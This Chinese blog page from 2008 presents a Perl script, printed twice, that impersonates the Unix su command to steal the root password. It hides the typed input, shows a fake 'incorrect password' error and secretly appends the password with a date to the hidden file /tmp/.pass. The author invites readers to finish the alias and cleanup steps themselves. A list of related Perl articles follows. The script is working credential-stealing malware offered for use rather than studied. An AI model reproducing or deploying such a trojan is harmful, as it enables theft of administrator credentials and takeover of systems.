冒充su ,perl寫的su.pl盜取root密碼
更新時間：2008年09月14日 08:16:59 作者：
backtrack3里面/pentest/housekeeping里面有個超囧的偷root密碼的東西，冒充su ,perl寫的，管理員輸入密碼的時候還直接回顯
我改了一下，把回顯關(guān)了 加了個延時：
#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@gmail.com>.
print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);
很明顯直接用是8行的，還有別名恢復(fù)等工作要做，各位看官自己搞定！
#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@gmail.com>.
print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);
很明顯直接用是8行的，還有別名恢復(fù)等工作要做，各位看官自己搞定！
相關(guān)文章
perl常見問題集合之二...2007-03-03
本文和大家重點討論一下Perl語法中Perl運(yùn)算符的概念和用法，主要包括算術(shù)運(yùn)算符，位運(yùn)算符，賦值運(yùn)算符和表運(yùn)算符等內(nèi)容，希望本文的介紹你對你有所幫助2013-03-03
perl實現(xiàn)的兩個文件對比并對數(shù)據(jù)進(jìn)行篩選的腳本代碼
對比兩個文件并對數(shù)據(jù)進(jìn)行篩選的perl腳本，涉及到哈希的應(yīng)用和perl編程風(fēng)格的改變。有需要的朋友可以參考下2013-03-03
Perl Mysql數(shù)據(jù)庫操作實現(xiàn)代碼
對于perl操作mysql的步驟，說的比較詳細(xì)，建議大家好好看看，參考2009-01-01
perl常問題集合之一...2007-03-03
本文和大家重點討論一下Perl方法的概念，Perl方法定義不提供任何特殊語法，但規(guī)定Perl方法的第一個參數(shù)為對象或其被引用的包。Perl有兩種Perl方法：靜態(tài)Perl方法和虛P(yáng)erl方法2013-03-03
用perl實現(xiàn)生物突變的隨機(jī)模擬程序代碼
perl寫的生物突變的隨機(jī)模擬程序，有需要的朋友可以參考下2013-03-03
perl中srand()與time的函數(shù)使用方法介紹
這篇文章主要介紹了perl中srand與time函數(shù)的使用，需要的朋友可以參考下2013-03-03
本文向大家簡單介紹一下Perl語法中Perl運(yùn)算符的概念，Perl語言中Perl運(yùn)算符有很多值得學(xué)習(xí)的地方，這里和大家分享一下它的概念和用法2013-03-03
Perl語言有很多值得學(xué)習(xí)的地方，你對Perl語法中的變量是否熟悉，Perl變量分為標(biāo)量變量,數(shù)組變量,聯(lián)系關(guān)系數(shù)組變量3類2013-03-03